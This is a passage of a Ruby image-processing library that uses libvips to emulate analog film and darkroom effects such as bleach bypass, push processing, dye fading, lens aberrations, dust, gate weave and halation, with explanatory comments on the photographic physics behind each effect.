r_d, g_d, b_d = img_f.bandsplit.map { |ch| ch.gaussblur(0.8) }
inhibition = Vips::Image.bandjoin([
r_d - g_d * (0.08 * strength) - b_d * (0.04 * strength),
g_d - r_d * (0.12 * strength) - b_d * (0.07 * strength),
b_d - r_d * (0.06 * strength) - g_d * (0.10 * strength)
])
inhibited = clamp01(inhibition) * 255.0
desatd = inhibited * (1.0 - strength * 0.3) + gray * (strength * 0.3)
safe_cast((desatd + high_pass * (strength * 0.5)).cast("uchar"))
rescue StandardError => e
$logger.error "dir_coupler: #{e.message}"; image
end
# Bleach bypass: skip bleach step, retain silver alongside dye. Screen-blend of
# a B&W layer over the colour image. Shadow neutral lift models the base silver
# density — retained metallic silver adds a grey floor to the darkest zones.
def bleach_bypass(image, intensity = 0.5)
img_f = image.cast("float") / 255.0
gray_f = image.colourspace("grey16").colourspace("srgb").cast("float") / 255.0
screen = (img_f.linear(-1, 1) * gray_f.linear(-1, 1)).linear(-1, 1)
shadow_base = gray_f.linear(-1, 1) ** 2.0 * intensity * 0.18
base_rgb = shadow_base.bandjoin([shadow_base, shadow_base])
result = img_f * (1.0 - intensity) + screen * intensity + base_rgb * intensity
safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
$logger.error "bleach_bypass: #{e.message}"; image
end
# Push/pull processing. Per-stock per-channel response: blue dye layer develops
# faster under push (reaches Dmax sooner), so PUSH_RESPONSE attenuates it to
# match measured sensitometry curves for each stock.
def push_pull(image, stops = 1.0, stock = :kodak_portra)
resp = PUSH_RESPONSE[stock] || { g: 1.00, b: 0.94 }
linear = image.colourspace("scrgb")
factor = 2.0**stops
r, g, b = linear.bandsplit
adj = Vips::Image.bandjoin([
clamp01(r * factor),
clamp01(g * factor * resp[:g]),
clamp01(b * factor * resp[:b])
])
if stops > 0
shadow_add = adj.linear(-1, 1) ** 2.0 * (stops * 0.04)
adj = clamp01(adj + shadow_add)
end
safe_cast(adj.colourspace("srgb"))
rescue StandardError => e
$logger.error "push_pull: #{e.message}"; image
end
# Split toning: shadow and highlight color casts weighted by luminance.
# shadow_rgb / hi_rgb are [R,G,B] triplets in 0-255.
def split_toning(image, shadow_rgb = [45, 35, 60], hi_rgb = [255, 240, 210], intensity = 0.30)
luma = image.colourspace("b-w").cast("float") / 255.0
img_f = image.cast("float") / 255.0
s_clr = (Vips::Image.black(image.width, image.height, bands: 3) + shadow_rgb).cast("float") / 255.0
h_clr = (Vips::Image.black(image.width, image.height, bands: 3) + hi_rgb).cast("float") / 255.0
s_w = luma.linear(-1, 1) * intensity * 0.55
h_w = luma * intensity * 0.55
result = img_f + (s_clr - img_f) * s_w + (h_clr - img_f) * h_w
safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
$logger.error "split_toning: #{e.message}"; image
end
# Three-way color corrector: independent shadow / midtone / highlight casts.
def split_grade(image, shadow_rgb = [30, 40, 60], mid_rgb = [255, 255, 248], hi_rgb = [255, 245, 220], intensity: 0.25)
luma = image.colourspace("b-w").cast("float") / 255.0
img_f = image.cast("float") / 255.0
s_clr = (Vips::Image.black(image.width, image.height, bands: 3) + shadow_rgb).cast("float") / 255.0
m_clr = (Vips::Image.black(image.width, image.height, bands: 3) + mid_rgb).cast("float") / 255.0
h_clr = (Vips::Image.black(image.width, image.height, bands: 3) + hi_rgb).cast("float") / 255.0
s_w = (luma.linear(-1, 1) ** 2.0) * intensity * 0.5
m_w = (luma * luma.linear(-1, 1) * 4.0) * intensity * 0.5
h_w = (luma ** 2.0) * intensity * 0.5
result = img_f + (s_clr - img_f) * s_w + (m_clr - img_f) * m_w + (h_clr - img_f) * h_w
safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
$logger.error "split_grade: #{e.message}"; image
end
# Film base density: multiplicative dye-density layer that shifts both color
# and overall density — warmer and slightly darker than a simple tint.
def dual_base_density(image, color = [255, 248, 235], opacity = 0.07)
r_m, g_m, b_m = color.map { |c| c / 255.0 }
img_f = image.cast("float") / 255.0
multiplied = img_f.linear([r_m, g_m, b_m], [0, 0, 0])
result = img_f * (1.0 - opacity) + multiplied * opacity
safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
$logger.error "dual_base_density: #{e.message}"; image
end
# Reciprocity failure: long exposures exhibit non-linear response — blue
# channel lags most. Per-stock shifts from RECIPROCITY_SHIFT calibrate the
# green-magenta crossover and blue lag to measured sensitometry data.
def reciprocity_failure(image, exposure_seconds = 10.0, stock = :cinestill_800t)
ev = Math.log2([exposure_seconds, 1.0].max) / 10.0
cs = RECIPROCITY_SHIFT[stock] || RECIPROCITY_SHIFT[:cinestill_800t]
linear = image.colourspace("scrgb")
r, g, b = linear.bandsplit
luma = r * 0.2126 + g * 0.7152 + b * 0.0722
dark_w = luma.linear(-1, 1)
result = Vips::Image.bandjoin([
r + dark_w * ev * 0.03 + (ev * cs[:r]),
g + dark_w * ev * 0.02 + (ev * cs[:g]),
b + (ev * 0.15) + dark_w * ev * 0.05 + (ev * cs[:b])
])
safe_cast(clamp01(result).colourspace("srgb"))
rescue StandardError => e
$logger.error "reciprocity_failure: #{e.message}"; image
end
# Dreamy soft cross-fade: soft-light blend of a blurred copy over the image.
def cross_fade(image, intensity = 0.4)
blur_f = image.gaussblur(12.0).cast("float") / 255.0
img_f = image.cast("float") / 255.0
screen = (img_f.linear(-1, 1) * blur_f.linear(-1, 1)).linear(-1, 1)
soft = (blur_f < 0.5).ifthenelse(img_f * blur_f * 2.0, screen)
result = img_f * (1.0 - intensity) + soft * intensity
safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
$logger.error "cross_fade: #{e.message}"; image
end
# Infrared simulation: green channel → bright (foliage), blue → dark (sky).
# Heavy green mix approximates IR film's extended-red/near-IR sensitivity.
def infrared(image, intensity = 0.8)
r, g, b = image.cast("float").bandsplit
ir = r * 0.20 + g * 0.80 + (b > 0).ifthenelse(b, 0).linear(-1, 0) * 0.15
ir = (ir > 0).ifthenelse(ir, 0)
glow = ir.gaussblur(8.0) * 0.25
ir3 = Vips::Image.bandjoin([ir + glow, ir + glow, ir + glow])
result = image.cast("float") * (1.0 - intensity) + ir3 * intensity
safe_cast(result.cast("uchar"))
rescue StandardError => e
$logger.error "infrared: #{e.message}"; image
end
# Cyanotype alt-process: Prussian blue shadows [0,52,102] to white highlights.
def cyanotype(image, intensity = 0.90)
shadow = [0, 52, 102]
luma = image.colourspace("b-w").cast("float") / 255.0
r = luma * (255 - shadow[0]) + shadow[0]
g = luma * (255 - shadow[1]) + shadow[1]
b = luma * (255 - shadow[2]) + shadow[2]
cyan = Vips::Image.bandjoin([r, g, b])
result = image.cast("float") * (1.0 - intensity) + cyan * intensity
safe_cast(result.cast("uchar"))
rescue StandardError => e
$logger.error "cyanotype: #{e.message}"; image
end
# Lith printing: aggressive contrast, warm sepia shadows, near-white highlights.
def lith_print(image, intensity = 0.80)
gray = image.colourspace("b-w").cast("float") / 255.0
hi = clamp01(gray ** 0.55 * 1.1)
s_w = (gray.linear(-1, 1) ** 2.0) * 255.0
r = hi * 255.0 + s_w * 0.12
g = hi * 255.0 - s_w * 0.04
b = hi * 255.0 - s_w * 0.16
lith = Vips::Image.bandjoin([r, g, b])
result = image.cast("float") * (1.0 - intensity) + lith * intensity
safe_cast(result.cast("uchar"))
rescue StandardError => e
$logger.error "lith_print: #{e.message}"; image
end
# Technicolor 3-strip: per-channel strip registration offset + heavy dye saturation.
def technicolor(image, intensity = 0.60)
r, g, b = image.bandsplit
r2 = r.embed(1, 0, image.width, image.height)
b2 = b.embed(-1, 1, image.width, image.height)
combined = Vips::Image.bandjoin([r2, g, b2])
hsv = combined.colourspace("hsv")
h, s, v = hsv.bandsplit
s_hi = safe_cast(s.linear([1.0 + intensity * 0.7], [0]))
boosted = Vips::Image.bandjoin([h, s_hi, v]).colourspace("srgb")
safe_cast((image.cast("float") * (1.0 - intensity) + boosted.cast("float") * intensity).cast("uchar"))
rescue StandardError => e
$logger.error "technicolor: #{e.message}"; image
end
# Kodachrome simulation: steep per-channel H&D curve + external coupler saturation.
def kodachrome_sim(image, intensity = 0.70)
result = film_curve(image, :kodachrome, intensity * 0.85)
hsv = result.colourspace("hsv")
h, s, v = hsv.bandsplit
s_hi = safe_cast(s.linear([1.0 + intensity * 0.45], [0]))
v_hi = safe_cast(v.linear([1.0 + intensity * 0.08], [0]))
saturated = Vips::Image.bandjoin([h, s_hi, v_hi]).colourspace("srgb")
safe_cast((result.cast("float") * (1.0 - intensity * 0.25) +
saturated.cast("float") * intensity * 0.25).cast("uchar"))
rescue StandardError => e
$logger.error "kodachrome_sim: #{e.message}"; image
end
# Aged photographic print with differential dye fading. Cyan is least stable —
# absorbs visible light, degrades fastest → warm shift. Yellow moderate.
# Magenta most stable. Contrast compression + shadow floor models paper base fog.
def faded_print(image, age = 0.5)
img_f = image.cast("float") / 255.0
r, g, b = img_f.bandsplit
cyan_fade = age * 0.65
yellow_fade = age * 0.28
r_faded = clamp01(r + cyan_fade * 0.22 + age * 0.06)
g_faded = clamp01(g + age * 0.04)
b_faded = clamp01(b * (1.0 - yellow_fade * 0.20) + yellow_fade * 0.05)
comp = 1.0 - age * 0.28
r_out = r_faded * comp + age * 0.07
g_out = g_faded * comp + age * 0.045
b_out = b_faded * comp + age * 0.02
result = Vips::Image.bandjoin([r_out, g_out, b_out])
result = result.gaussblur(age * 0.9) if age > 0.3
safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
$logger.error "faded_print: #{e.message}"; image
end
# Adjacency / Eberhard effect: developer exhaustion at bright edges creates a
# dark inhibition band on the bright side and a slight bright band on the dark side.
# Physically: development byproducts diffuse outward and locally suppress nearby
# grains. Subtract a fraction of the high-pass edge signal → local undershoot.
def adjacency_effects(image, intensity = 0.25)
blurred = image.gaussblur(1.8)
edge = image.cast("float") - blurred.cast("float")
result = clamp01((image.cast("float") - edge * (intensity * 0.45)) / 255.0) * 255.0
safe_cast(result)
rescue StandardError => e
$logger.error "adjacency_effects: #{e.message}"; image
end
# Longitudinal (axial) chromatic aberration: wavelengths focus at different depths.
# Blue focuses short of the plane; green slightly soft; red sharpest at the focal plane.
def longitudinal_ca(image, strength = 0.50)
r, g, b = image.bandsplit
g2 = g.gaussblur([0.4 * strength, 0.3].max)
b2 = b.gaussblur([0.9 * strength, 0.3].max)
safe_cast(Vips::Image.bandjoin([r, g2, b2]))
rescue StandardError => e
$logger.error "longitudinal_ca: #{e.message}"; image
end
# Radial lens distortion via mapim. k1 < 0 = barrel (wide-angle); k1 > 0 = pincushion.
# First-order Brown-Conrady model — single coefficient, adequate for cinematic emulation.
def lens_distortion(image, k1 = -0.12)
w, h = image.width, image.height
cx, cy = w / 2.0, h / 2.0
idx = Vips::Image.xyz(w, h)
xn = (idx.extract_band(0).cast("float") - cx) / cx
yn = (idx.extract_band(1).cast("float") - cy) / cy
r2 = xn * xn + yn * yn
factor = r2.linear([k1], [1.0])
xs = (xn * factor * cx + cx).cast("float")
ys = (yn * factor * cy + cy).cast("float")
image.mapim(Vips::Image.bandjoin([xs, ys]))
rescue StandardError => e
$logger.error "lens_distortion: #{e.message}"; image
end
# Bokeh highlight ring structure: out-of-focus highlights from lens element edges
# produce an onion-ring artifact. Detected by finding the bright-disk edge and
# adding a warm ring there. Red dominant — lens coatings transmit red more at edges.
def bokeh_rendering(image, intensity = 0.35)
linear = image.colourspace("scrgb")
r, g, b = linear.bandsplit
luma = r * 0.2126 + g * 0.7152 + b * 0.0722
bright = (luma > 0.65).ifthenelse(luma - 0.65, 0)
ring = (bright.gaussblur(4.0) - bright.gaussblur(2.0)).linear([1], [0])
ring = (ring > 0).ifthenelse(ring, 0).linear([intensity * 2.5], [0])
result = Vips::Image.bandjoin([r + ring * 0.90, g + ring * 0.55, b + ring * 0.15])
safe_cast(clamp01(result).colourspace("srgb"))
rescue StandardError => e
$logger.error "bokeh_rendering: #{e.message}"; image
end
# Anamorphic lens flare: horizontal blue-cyan streak through brightest highlights.
# Real anamorphic streaks are produced by cylindrical front element edge diffraction.
# Approximated with a wide 1-D horizontal convolution over the highlight mask.
def anamorphic_flare(image, intensity = 0.50)
w = image.width
linear = image.colourspace("scrgb")
r, g, b = linear.bandsplit
luma = r * 0.2126 + g * 0.7152 + b * 0.0722
bright = (luma > 0.78).ifthenelse(luma - 0.78, 0)
kw = [w / 10, 31].min
kw = kw.even? ? kw + 1 : kw
kernel = Vips::Image.new_from_array([Array.new(kw, 1.0 / kw)])
streak = bright.conv(kernel, precision: :float)
streakc = Vips::Image.bandjoin([streak * 0.10, streak * 0.45, streak * 1.00]) * (intensity * 0.55)
safe_cast(clamp01(linear + streakc).colourspace("srgb"))
rescue StandardError => e
$logger.error "anamorphic_flare: #{e.message}"; image
end
# Diffraction softening at small apertures. The Airy disc diameter grows with f-number;
# at f/16+ the disc exceeds the Nyquist limit and detail visibly softens.
def diffraction_blur(image, f_number = 16.0, intensity = 1.0)
sigma = ([((f_number - 8.0) / 5.0) * intensity, 0.3].max).clamp(0.3, 6.0)
safe_cast(image.gaussblur(sigma))
rescue StandardError => e
$logger.error "diffraction_blur: #{e.message}"; image
end
# Flatbed scanner CCD noise floor. Electronic in origin — independent of film grain,
# lower amplitude, no spatial correlation. Adds a second fine incoherent texture.
def scan_noise(image, intensity = 0.40)
noise = Vips::Image.gaussnoise(image.width, image.height, sigma: 5.0 * intensity, mean: 0.0)
safe_cast(image.cast("float") + rgb_bands(noise) * 0.06 * intensity)
rescue StandardError => e
$logger.error "scan_noise: #{e.message}"; image
end
# Newton rings: thin-film interference fringes where film lifts off scanner glass.
# Sinusoidal concentric rings centered near a corner with radial intensity falloff.
def newton_rings(image, intensity = 0.12)
w, h = image.width, image.height
cx = w * 0.12
cy = h * 0.10
idx = Vips::Image.xyz(w, h)
xd = idx.extract_band(0).cast("float") - cx
yd = idx.extract_band(1).cast("float") - cy
rad = (xd * xd + yd * yd).pow(0.5)
rings = rad.linear([Math::PI * 2.0 / 28.0], [0]).math(:sin).linear([0.5], [0.5])
fade = clamp01(rad.linear([-1.2 / [w, h].max], [1.2]))
mod = (rings - 0.5) * fade * intensity * 0.10
mod3 = mod.bandjoin([mod, mod])
safe_cast(clamp01(image.cast("float") / 255.0 + mod3) * 255.0)
rescue StandardError => e
$logger.error "newton_rings: #{e.message}"; image
end
# Dust specks and hair strands on negative or scanner glass. Procedurally drawn
# at random positions; dark specks more common than bright (dust blocks light).
def dust_and_hair(image, intensity = 0.50)
w, h = image.width, image.height
overlay = Vips::Image.black(w, h, bands: 3).cast("float")
(intensity * 14).round.times do
x = rand(w)
y = rand(h)
val = rand > 0.65 ? [230.0, 228.0, 225.0] : [8.0, 6.0, 5.0]
overlay = overlay.draw_circle(val, x, y, 1 + rand(2), fill: true)
end
(intensity * 2).round.times do
x1 = rand(w)
y1 = rand(h)
angle = rand * Math::PI * 2
len = 30 + rand(110)
x2 = (x1 + len * Math.cos(angle)).to_i.clamp(0, w - 1)
y2 = (y1 + len * Math.sin(angle)).to_i.clamp(0, h - 1)
overlay = overlay.draw_line([14.0, 12.0, 10.0], x1, y1, x2, y2)
end
blended = image.cast("float") + overlay.gaussblur(0.5) * 0.45
safe_cast(clamp01(blended / 255.0) * 255.0)
rescue StandardError => e
$logger.error "dust_and_hair: #{e.message}"; image
end
# Film curl / frame-holder vignette. Steeper radial falloff (power 8) than the
# smooth lens vignette (power 2) — mimics the mechanical shadow of the film gate.
def film_curl_vignette(image, intensity = 0.45)
w, h = image.width, image.height
idx = Vips::Image.xyz(w, h)
xn = (idx.extract_band(0).cast("float") - w * 0.5) / (w * 0.5)
yn = (idx.extract_band(1).cast("float") - h * 0.5) / (h * 0.5)
r2 = xn * xn + yn * yn
vign = clamp01(r2.pow(4.0).linear([intensity * 6.0], [0]))
v3 = vign.bandjoin([vign, vign])
safe_cast(clamp01(image.cast("float") / 255.0 * (1.0 - v3)) * 255.0)
rescue StandardError => e
$logger.error "film_curl_vignette: #{e.message}"; image
end
# Selenium toning: silver areas in shadow zones chemically convert to selenium
# compounds — blue-violet shift in the deepest densities, neutral in highlights.
def selenium_tone(image, intensity = 0.45)
img_f = image.cast("float") / 255.0
luma = img_f.colourspace("b-w").cast("float") / 255.0
shad_w = clamp01(luma.linear([-1], [1]).pow(1.5)) * (intensity * 0.65)
r, g, b = img_f.bandsplit
result = Vips::Image.bandjoin([clamp01(r + shad_w * 0.12), g, clamp01(b + shad_w * 0.28)])
safe_cast(result * 255.0)
rescue StandardError => e
$logger.error "selenium_tone: #{e.message}"; image
end
# Per-stock dye fading. Each emulsion has a characteristic failure mode over decades:
# Kodachrome: greens hold, reds drift to orange, shadows warm. Ektachrome: cyan fades,
# image shifts magenta-red. Velvia: magenta dye weakens. C-41: yellow cast + desaturation.
def dye_fade(image, stock = :kodak_portra, age = 0.50)
img_f = image.cast("float") / 255.0
r, g, b = img_f.bandsplit
faded = case stock
when :kodachrome
Vips::Image.bandjoin([r.linear([1.0], [age * 0.08]), g,
b.linear([1.0 - age * 0.16], [age * 0.05])])
when :ektachrome_100
Vips::Image.bandjoin([r.linear([1.0 + age * 0.13], [0]),
g.linear([1.0 + age * 0.04], [0]), b])
when :fuji_velvia
Vips::Image.bandjoin([r, g.linear([1.0], [age * 0.05]),
b.linear([1.0 - age * 0.08], [age * 0.03])])
else
Vips::Image.bandjoin([r.linear([1.0], [age * 0.06]),
g.linear([1.0], [age * 0.04]),
b.linear([1.0 - age * 0.10], [age * 0.02])])
end
gray = img_f.colourspace("b-w").colourspace("srgb").cast("float")
result = clamp01(faded) * (1.0 - age * 0.18) + gray * (age * 0.18)
safe_cast(clamp01(result) * 255.0)
rescue StandardError => e
$logger.error "dye_fade: #{e.message}"; image
end
# Darkroom print tone compression. Optical enlarger prints cannot reproduce the full
# DR of a negative. Highlights block at paper Dmax; shadows print lighter than film.
# Slight gamma lift + shadow floor raise compress the tonal scale to print-medium range.
def darkroom_print(image, intensity = 0.50)
img_f = image.cast("float") / 255.0
lifted = img_f.pow(1.0 + intensity * 0.28)
floored = clamp01(lifted.linear([1.0], [intensity * 0.018]))
safe_cast(floored * 255.0)
rescue StandardError => e
$logger.error "darkroom_print: #{e.message}"; image
end
# Per-stock film base density tint. Applies the FILM_BASE color at low opacity
# so shadow areas pick up more tint than highlights — physically correct since
# tint is always present and highlights burn through it.
def film_base_density(image, stock = :kodak_portra, opacity = 0.06)
tint = FILM_BASE[stock] || [255, 255, 255]
dual_base_density(image, tint, opacity)
rescue StandardError => e
$logger.error "film_base_density: #{e.message}"; image
end
# C-41 integral orange mask. Colored couplers in the negative create a
# characteristic orange base density that raises shadows toward orange-amber.
# Reversal and B&W stocks have no mask — only applied to C41_STOCKS.
def orange_mask(image, stock = :kodak_portra, intensity = 1.0)
return image unless C41_STOCKS.include?(stock)
mask = case stock
when :cinestill_800t, :kodak_vision3_500t then 0.09
when :kodak_vision3, :kodak_vision3_50d then 0.08
else 0.07
end * intensity
img_f = image.cast("float") / 255.0
shadow_w = image.colourspace("b-w").cast("float") / 255.0
shadow_w = shadow_w.linear(-1, 1)
r, g, b = img_f.bandsplit
result = Vips::Image.bandjoin([
clamp01(r + shadow_w * mask * 0.55),
clamp01(g + shadow_w * mask * 0.18),
clamp01(b - shadow_w * mask * 0.35)
])
safe_cast(result * 255.0)
rescue StandardError => e
$logger.error "orange_mask: #{e.message}"; image
end
# Print film projection. Applies a print stock's H&D curve, warmth, cool-shadow
# grading, and fine grain as a final projection stage — analogous to printing
# from a negative onto Kodak 2383 (or 2302 for B&W).
def print_film(image, stock = :kodak_2383, intensity = 0.70)
pdata = PRINT_STOCKS[stock]
return image unless pdata
hd = pdata[:hd]
bands = %i[r g b].map { |c| Vips::Image.new_from_array([HD.channel_curve(hd[c])]) }
lut = Vips::Image.bandjoin(bands).cast("uchar")
developed = image.maplut(lut)
img_f = developed.cast("float") / 255.0
luma = developed.colourspace("b-w").cast("float") / 255.0
if pdata[:warmth]
hi_mask = luma ** 2.8
sh_mask = luma.linear(-1, 1) ** 2.8
r, g, b = img_f.bandsplit
img_f = Vips::Image.bandjoin([
clamp01(r + hi_mask * pdata[:warmth] * 0.8),
clamp01(g + hi_mask * pdata[:warmth] * 0.15),
clamp01(b - hi_mask * pdata[:warmth] * 0.35 + sh_mask * (pdata[:cool_shadow] || 0))
])
end
if pdata[:grain].to_i > 0
amp = pdata[:grain] * 0.25 / 255.0
noise = Vips::Image.gaussnoise(image.width, image.height, sigma: pdata[:grain].to_f * 0.3, mean: 0.0)
img_f = clamp01(img_f + rgb_bands(noise).cast("float") * amp)
end
safe_cast(image * (1.0 - intensity) + safe_cast(img_f * 255.0) * intensity)
rescue StandardError => e
$logger.error "print_film: #{e.message}"; image
end
def paper_texture(image, intensity = 0.35)
w, h = image.width, image.height
base = Vips::Image.perlin(w, h, cell_size: 12).linear([intensity * 0.018], [1.0])
fiber = Vips::Image.perlin(w, h, cell_size: 3).linear([intensity * 0.008], [0.0])
texture = (base + fiber).gaussblur(0.4)
safe_cast(image * texture.bandjoin([texture, texture]))
rescue StandardError => e
$logger.error "paper_texture: #{e.message}"; image
end
def dodgeburn_artifacts(image, intensity = 0.40)
w, h = image.width, image.height
cx, cy = w / 2.0, h / 2.0
x = Vips::Image.xyz(w, h).extract_band(0).linear([1.0], [-cx])
y = Vips::Image.xyz(w, h).extract_band(1).linear([1.0], [-cy])
r = (x * x + y * y).pow(0.5).linear([1.0 / [w, h].max], [0.0])
dodge = r.linear([-intensity * 0.18], [1.0 + intensity * 0.06])
mask = dodge.bandjoin([dodge, dodge])
safe_cast(image * mask)
rescue StandardError => e
$logger.error "dodgeburn_artifacts: #{e.message}"; image
end
def fixing_bath_fog(image, intensity = 0.30)
floor = intensity * 0.04
cast = [1.0 + intensity * 0.012, 1.0 + intensity * 0.006, 1.0]
lifted = image.linear([(1.0 - floor)], [floor])
safe_cast(lifted.linear(cast, [0.0, 0.0, 0.0]))
rescue StandardError => e
$logger.error "fixing_bath_fog: #{e.message}"; image
end
def reticulation(image, intensity = 0.50)
w, h = image.width, image.height
coarse = Vips::Image.perlin(w, h, cell_size: 28).linear([intensity * 0.06], [1.0])
mid = Vips::Image.perlin(w, h, cell_size: 9).linear([intensity * 0.03], [0.0])
pattern = (coarse + mid).gaussblur(0.8)
mask = pattern.bandjoin([pattern, pattern])
safe_cast(image * mask)
rescue StandardError => e
$logger.error "reticulation: #{e.message}"; image
end
def expired_film(image, age = 0.60)
fogged = image.linear([(1.0 - age * 0.12)], [age * 0.06])
r, g, b = fogged.bandsplit
r = r.linear([1.0 + age * 0.08], [0.0])
g = g.linear([1.0 + age * 0.03], [0.0])
b = b.linear([1.0 - age * 0.05], [0.0])
combined = r.bandjoin([g, b])
grain_intensity = 0.20 + age * 0.35
safe_cast(grain(combined, 800, :tri_x, grain_intensity))
rescue StandardError => e
$logger.error "expired_film: #{e.message}"; image
end
def gate_weave(image, intensity = 0.40)
w, h = image.width, image.height
dx = (rand - 0.5) * intensity * w * 0.004
dy = (rand - 0.5) * intensity * h * 0.002
x = Vips::Image.xyz(w, h).extract_band(0).linear([1.0], [-dx])
y = Vips::Image.xyz(w, h).extract_band(1).linear([1.0], [-dy])
coords = x.bandjoin(y)
image.mapim(coords)
rescue StandardError => e
$logger.error "gate_weave: #{e.message}"; image
end
def lens_ghosting(image, intensity = 0.35)
w, h = image.width, image.height
luma = image.colourspace(:b_w)
threshold = 1.0 - intensity * 0.25
highlights = luma.more(threshold).gaussblur(12 * intensity)
ghost = highlights.gaussblur(6).linear([intensity * 0.12], [0.0])
offset_x = (w * 0.08).to_i
offset_y = (h * 0.06).to_i
ghost_rgb = ghost.bandjoin([ghost, ghost])
flipped = ghost_rgb.flip(:horizontal).flip(:vertical)
canvas = Vips::Image.black(w, h, bands: 3).linear([1.0], [0.0])
x0 = [[w - offset_x - flipped.width, 0].max, w - 1].min
y0 = [[h - offset_y - flipped.height, 0].max, h - 1].min
blended = canvas.draw_image(flipped, x0, y0)
safe_cast(image + blended)
rescue StandardError => e
$logger.error "lens_ghosting: #{e.message}"; image
end
def ortho_film(image, intensity = 0.80)
r, g, b = image.bandsplit
grey = (b.linear([0.72], [0.0]) + g.linear([0.21], [0.0]) + r.linear([0.07], [0.0]))
grey_rgb = grey.bandjoin([grey, grey])
blended = image.linear([(1.0 - intensity)], [0.0]) + grey_rgb.linear([intensity], [0.0])
safe_cast(blended)
rescue StandardError => e
$logger.error "ortho_film: #{e.message}"; image
end
def tilt_shift(image, intensity = 0.70, focus_y = 0.5)
w, h = image.width, image.height
y_img = Vips::Image.xyz(w, h).extract_band(1).linear([1.0 / h], [0.0])
dist = (y_img - focus_y).abs.linear([2.0], [0.0]).pow(1.6)
blur_radius = (intensity * 8).clamp(1, 20).to_f
blurred = image.gaussblur(blur_radius)
mask = dist.linear([intensity], [0.0]).clamp(0, 1)
mask3 = mask.bandjoin([mask, mask])
safe_cast(image * (mask3.linear([-1.0], [1.0])) + blurred * mask3)
rescue StandardError => e
$logger.error "tilt_shift: #{e.message}"; image
end
# Adaptive contrast: histogram normalization blended at partial opacity.
# Strongest single predictor of perceived photo quality in NIMA/AVA research.
def adaptive_contrast(image, intensity = 0.70)
normalized = image.hist_norm
safe_cast(image * (1.0 - intensity * 0.55) + normalized * (intensity * 0.55))
rescue StandardError => e
$logger.error "adaptive_contrast: #{e.message}"; image
end
# Filmic shoulder + toe: raised shadow floor + soft highlight rolloff.
# Models the analog curve endpoints without stock-specific emulsion data.
def film_shoulder(image, intensity = 0.75)
toe = intensity * 0.04 * 255.0
lifted = image.linear([1.0 - intensity * 0.04], [toe])
rolled = highlight_roll(lifted, (220 - (intensity * 20).to_i), intensity * 0.50)
safe_cast(rolled)
rescue StandardError => e
$logger.error "film_shoulder: #{e.message}"; image
end
# Clarity: medium-radius unsharp on Lab L channel only — local contrast "3D pop"
# without hue shift or color fringing.
def clarity(image, radius = 15, intensity = 0.65)
lab = image.colourspace("lab")
l = lab.extract_band(0)
a_ch = lab.extract_band(1)
b_ch = lab.extract_band(2)
detail = l - l.gaussblur(radius)
l_new = l + detail.linear([intensity * 0.40], [0.0])
safe_cast(Vips::Image.bandjoin([l_new, a_ch, b_ch]).colourspace("srgb"))
rescue StandardError => e
$logger.error "clarity: #{e.message}"; image
end
# Edge-aware noise reduction: smooth flat areas, preserve edges.
# Approximated as luminance-masked Gaussian — clean base before film grain is added.
def edge_aware_nr(image, strength = 0.60)
blurred = image.gaussblur(1.5 + strength * 2.0)
quick = image.gaussblur(1.5)
edge_diff = (image - quick) + (quick - image)
edge_luma = edge_diff.extract_band(0) * 0.299 +
edge_diff.extract_band(1) * 0.587 +
edge_diff.extract_band(2) * 0.114
mask = (edge_luma > (12.0 * (1.0 - strength * 0.5))).ifthenelse(1, 0)
mask3 = mask.bandjoin([mask, mask])
safe_cast(image * mask3 + blurred * mask3.linear([-1.0], [1.0]))
rescue StandardError => e
$logger.error "edge_aware_nr: #{e.message}"; image
end
# Selective sharpening: high-pass at σ=1.2, applied only at high-edge regions.
# Lifts perceived acuity at detail without amplifying noise in smooth areas.
def selective_sharpen(image, intensity = 0.70)
blurred = image.gaussblur(1.2)
detail = image - blurred
edge_diff = detail + (blurred - image)
edge_luma = edge_diff.extract_band(0) * 0.299 +
edge_diff.extract_band(1) * 0.587 +
edge_diff.extract_band(2) * 0.114
mask = (edge_luma > 8).ifthenelse(1, 0)
mask3 = mask.bandjoin([mask, mask])
safe_cast(image + detail * mask3 * (intensity * 0.55))
rescue StandardError => e
$logger.error "selective_sharpen: #{e.message}"; image
end
def teal_orange(image, intensity = 1.0)
protected = skin_protect(image, 0.8)
r, g, b = protected.bandsplit
r_enhanced = r.linear([1 + 0.25 * intensity], [8 * intensity])
g_balanced = g.linear([1 - 0.08 * intensity], [0])
b_enhanced = b.linear([1 + 0.35 * intensity], [0])
safe_cast(Vips::Image.bandjoin([r_enhanced, g_balanced, b_enhanced]))
end
def bloom_pro(image, intensity = 1.0)
bright = image.linear([2.0 * intensity], [0])
bloom_1 = bright.gaussblur(8 * intensity)
bloom_2 = bright.gaussblur(16 * intensity)
combined = (bloom_1 + bloom_2 * 0.5) * 0.2
safe_cast(image + combined)
end
# Halation in linear (exposure) space. Bright light penetrates the emulsion,
# reflects off the substrate's antihalation backing imperfectly, and re-exposes
# nearby grains. Red wavelengths penetrate deepest, so the rebound glow is
# red-orange — never neutral. Default tint matches Vision3-style stocks; Velvia
# antihalation is near-perfect (drop intensity), Tri-X has none (boost it).
# Pipeline: linearize → soft-threshold highlights at L≈0.7 → wide gaussian on
# the mono source map → tint asymmetrically (R>G>>B) → add back → re-encode.
# Physics-calibrated: fraction of incident energy reflected per dye layer depth.
# Red penetrates deepest (0.92), green mid-layer (0.15), blue nearest surface (0.04).
HALATION_TINT_VISION3 = [0.92, 0.15, 0.04].freeze
HALATION_TINT_PORTRA = [0.88, 0.12, 0.04].freeze
HALATION_TINT_TRI_X = [0.45, 0.45, 0.45].freeze
HALATION_THRESHOLD = 0.7
# Halation: resolution-aware σ ≈ width/45 (≈43px at 2K, calibrated from agx
# emulsion measurements). Luma-based bright mask rather than red-only, so
# over-exposed highlights on any channel trigger the halo. Per-channel blur
# radii R>G>>B model wavelength-dependent penetration depth in the emulsion
# stack. Output clamp prevents HDR overshoot from adding solarization.
def halation(image, intensity = 1.0, tint: HALATION_TINT_VISION3)
sigma_r = [image.width / 45.0, 6.0].max.clamp(6.0, 120.0)
sigma_g = sigma_r * 0.55
sigma_b = sigma_r * 0.25
linear = image.colourspace("scrgb")
r, g, b = linear.bandsplit
luma = r * 0.2126 + g * 0.7152 + b * 0.0722
excess = luma.linear([1], [-HALATION_THRESHOLD])
bright = (excess > 0).ifthenelse(excess, 0) ** 2
